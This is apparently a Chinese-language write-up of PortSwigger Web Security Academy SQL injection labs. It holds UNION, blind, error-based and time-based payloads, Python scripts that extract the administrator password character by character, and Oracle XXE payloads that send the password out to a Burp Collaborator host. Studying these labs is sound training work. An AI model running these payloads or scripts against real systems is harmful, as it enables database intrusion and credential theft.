sql注入

sql注入备忘录清单

https://portswigger.net/web-security/sql-injection/cheat-sheet

SQL1

这里让我们显示所有的产品详细信息

image-20221019223131862

image-20220728143053009

点点看发现一个参数

image-20220728143133442

image-20221019222439345

但是这里不是注入点 下面才是

image-20220728143305499

image-20221019222542276

这里简单测试一下注入点便过关了

image-20221019222610800

SQL2

这里需要我们以administrator 用户登录

image-20221019222732262

image-20220728144417567

image-20221019223050749

或者

image-20220728145236354

image-20220728145255338

SQL3

让我们通过 union 注入获取列数 并将数据全部置为空

image-20221019223214765

image-20221019223356503

3没问题 4 报错 那么说明就是三列

image-20221019223440583

image-20221019223450869

image-20221019223617242

SQL4

这里首先要用 union 确定列数 接着确定兼容字符串的列

image-20221019223650634

这里写有让数据库返回的值

image-20221019223816548

image-20221019223913880

image-20221019223925338

image-20221019224011014

可见2是回显位

image-20221019224057234

image-20221019224119905

SQL5

这里让我们检索administrator的密码 顺便告诉了我们在users表 的username 和 password中

image-20221019224201520

image-20221019224302673

image-20221019224441321

image-20221019224503484

image-20221019224510240

SQL6

这里的目的和上一关是一样的

image-20221019225223737

image-20221019225304418

image-20221019225320732

这里使用上一关的payload 不可行 这里可能是由于数据类型不兼容

image-20221019225357111

当修改第一个参数为NULL的时候这里便可以正常执行

image-20221019225525509

但是这里仅有一个回显位 这里的话 我们可以选择分开执行 当然也可以将查询到的内容进行连接操作 但是这里我们并不知道网站使用的是那个数据库 这里我们可以找到

version

image-20221019225946391

从这里的sql注入的解释中可以看到

image-20221019230052424

image-20221019230019978

' union select NULL,username || '@' || password from users--+
这里的 || 是 PostgreSQL 中的字符串连接符,这样就既能将多列结果合并到单列输出,又能把多列结果区分开了

image-20221019230239330

image-20221019230344018

image-20221019230353589

SQL7

这里让我们显示数据库的版本信息

image-20221020083046536

image-20221020095539345

image-20221020095553076

但是这里当 使用 select 语句的时候出现了错误 这里的主要愿意是由于这里的数据库是oracle

image-20221020124508924

这里有写 oracle 的 select 语句

image-20221020144330138

image-20221020144446616

这里告诉了我们 oracle 的查询version 的语句

image-20221020144552901

image-20221020144815752

SQL8

同样的显示版本

image-20221020144850687

image-20221020145014425

image-20221020145000177

image-20221020145048328

image-20221020145118082

SQL9

让我们找到 用户名和密码

image-20221020145147864

image-20221020145352363

image-20221020145321748

image-20220728152555723

image-20220728153140528

image-20220728153241313

image-20220728153323931

image-20220728153420199

SQL10

其实Oracle中也有类似信息模式的东西,比如查所有的表
SELECT * FROM all_tables
啊这,感觉比信息模式简单粗暴啊,直接叫all_tables?好东西好东西,然后我们来看一下查所有的列用什么语句呢SELECT * FROM all_tab_columns WHERE table_name = 'USERS'

image-20220728154258920

image-20220728154419209

image-20220728154455846

image-20220728154524928

布尔盲注(11)

需要我们布尔盲注

image-20221108183049120

寻找注入点

image-20221108183359690

image-20221108183417138

一个11125 一个11064

发送到Comperer

image-20221108183437974

image-20221108183459074

image-20221108183510924

这里可以发现当正确执行时返回Welcome back!

CyqF7a1v6bQ1AFQ2' and '1'='1

image-20221108183803157

image-20221108183811735

单引号包裹

CyqF7a1v6bQ1AFQ2' and (select '1')='1'-- 

image-20221108185059302

判断数据库类型

字符串处理方式

mysql

CyqF7a1v6bQ1AFQ2' and 'a'+'b'='ab'-- 
CyqF7a1v6bQ1AFQ2' and concat('a','b')='ab'--

oracle

CyqF7a1v6bQ1AFQ2' and 'a'||'b'='ab'-- 
CyqF7a1v6bQ1AFQ2' and concat('a','b')='ab'--

sql server

CyqF7a1v6bQ1AFQ2' and 'a'+'b'='ab'-- 

数据库特有数据表

mysql

CyqF7a1v6bQ1AFQ2' and (select count(*) from information_schema.tables)>0 and '1'='1'-- 

oracle

CyqF7a1v6bQ1AFQ2' and (select count(*) from sys.user_tables)>0 and '1'='1'-- 

sql server

CyqF7a1v6bQ1AFQ2' and (select count(*) from sysobjects)>0 and '1'='1'-- 

盲注特别函数判断

mysql

CyqF7a1v6bQ1AFQ2' and benchmark(10000000000,encode('qwe','asd'))-- 
CyqF7a1v6bQ1AFQ2' and sleep(5)--

postgresql

pg_sleep(5)
generate_series(1,100000000)

sql server

waitfor delay'0:0:5'

image-20221108190904896

应该是oracle

image-20221108190944792

但是是mysql的表?

写下脚本

import requests
url = "https://0ac700b00331b809c05940c700fa009e.web-security-academy.net/"
result = ""
i = 0
while True:
i = i +1
head =32
tail = 127
while head < tail:
min = (head+tail)>>1
payload = "select password from users limit 1"
header = {
"Cookie":f"TrackingId=CyqF7a1v6bQ1AFQ2' and ascii(substr(({payload}),{i},1))>{min}-- ; session=mnUw9lLQCIK5f8cJoIKvnpiedvAazXHQ"
}
# print(header)
res = requests.get(url=url,headers=header)
if "Welcome back!" in res.text:
head = min + 1
else:
tail = min
if head !=32:
result+= chr(head)
print(result)
else:
break

image-20221108194507890

image-20221108194522427

case when布尔盲注(12)

image-20221109124607311

这里当’ 时会触发500 说明存在注入

image-20221108195935627

这里尝试构造

image-20221108195732526

image-20221108195851935

这里无论是否查询到内容这里的返回都是相同的 但是这里可以发现如果sql语句出错的话依然会出现不同的回显

AlmLsfzlwnzurSMV'||(select '')||'

尝试注入 这里依然是sql语句出错

image-20221108200708870

AlmLsfzlwnzurSMV'||(select '' from dual)||'

当尝试去使用oracle的sql语句时不在出错说明此数据库是oracle的

image-20221108200747162

AlmLsfzlwnzurSMV'||(select '' from not-a-real-table)||'

当我们尝试去故意查询不存在的表时出现了错误

image-20221108200854580

KtHOWm7hjvTVkebf' and (SELECT CASE WHEN (1=1) THEN TO_CHAR(1/0) ELSE '1' END FROM dual)='1'-- 

这里去构造case when去 根据 条件不同来触发sql 语句错误 从而导致页面回显不同 这里使用了case 设置了一个条件判断,当布尔结果为true时则因返回一个字符得到正常响应 如果错误就触发除零导致报错

import requests
url = "https://0af600950411066bc0df4aaa003c0077.web-security-academy.net/"
result = ""
i = 0
while True:
i = i +1
head =32
tail = 127
while head < tail:
min = (head+tail)>>1
header = {
"Cookie":f"TrackingId=KtHOWm7hjvTVkebf' and (SELECT CASE WHEN (substr(password,{i},1)>'{chr(min)}') THEN TO_CHAR(1/0) ELSE '1' END from users WHERE username='administrator')='1'-- ; session=mnUw9lLQCIK5f8cJoIKvnpiedvAazXHQ"
}
# print(header)
res = requests.get(url=url,headers=header)
if 500 == res.status_code:
head = min + 1
else:
tail = min
if head !=32:
result+= chr(head)
print(result)
else:
break

image-20221109124133881

image-20221109124451183

时间盲注(13)

这里是需要延迟十秒即可 其次这里的数据库是 PostgreSQL

image-20221109124640234

MXbXlv1I0d83X'||pg_sleep(10)-- 
MXbXlv1I0d83X';select pg_sleep(10)--

这里的 || 是指连接字符串的意思

image-20221109125344671

image-20221109125406903

时间盲注(14)

这里需要我们通过时间盲注注内容

image-20221109180701946

MXbXlv1I0d83X'%3bselect case when (1=1) then pg_sleep(10) else pg_sleep(0) end-- 
MXbXlv1I0d83X'%3bselect case when (1=0) then pg_sleep(10) else pg_sleep(0) end--
import requests
url = "https://0a9400ea04226c03c06d8e9300500044.web-security-academy.net/"
result = ""
i = 0
while True:
i = i +1
head =32
tail = 127
while head < tail:
min = (head+tail)>>1
header = {
"Cookie":f"TrackingId=MXbXlv1I0d83X'%3bselect case when (username='administrator' and SUBSTRING(password,{i},1)>'{chr(min)}') then pg_sleep(10) else pg_sleep(0) end from users-- ; session=mnUw9lLQCIK5f8cJoIKvnpiedvAazXHQ"
}

try:
res = requests.get(url=url, headers=header, timeout=8)
tail = min
print('没延迟')
except Exception as e:
print('延迟')
head = min + 1

if head !=32:
result+= chr(head)
print(result)
else:
break

image-20221109185327187

image-20221109185354534

外带请求(15)

这里由于处理请求和数据库操作是两个线程异步执行的这里导致我们之前的技术都不生效了 那么这里便使用了sql语句的dns请求

image-20221109184524137

先生成一个url

image-20221109185740429

image-20221109185937976

将生成的url填入下方

x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//lodzuvzzgjnnjcvh7yff10vuhlncb1.burpcollaborator.net">+%25remote%3b]>'),'/l')+FROM+dual--
x' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://lodzuvzzgjnnjcvh7yff10vuhlncb1.burpcollaborator.net"> %remote;]>'),'/l') FROM dual--

image-20221109185925185

image-20221109190005417

外带数据(16)

这次需要我们注入数据并带出来

image-20221109190721114

c9Dnqj7ysSXtqlBF'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+from+users+where+username%3d'administrator')||'.lodzuvzzgjnnjcvh7yff10vuhlncb1.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual--+

image-20221109191338089

image-20221109191426150

xml编码绕过(17)

这里需要我们去注入数据 但是这里存在waf 需要去绕过

image-20221109194107729

先安装一个插件

image-20221109200322977

注入点

image-20221109194255756

image-20221109194334586

说明表达式被执行了

image-20221109194414906

image-20221109194406660

我们先来看看怎么过滤的

单引号不行

image-20221109200118473

选中然后进行html实体编码 这里的原因就是xml兼容html实体字符编码

image-20221109200350448

image-20221109200415771

加密也确实是这样的

image-20221109200433789

image-20221109200618829

<@hex_entities>1 union select password from users where username='administrator'<@/hex_entities>

image-20221109200642587

image-20221109200746945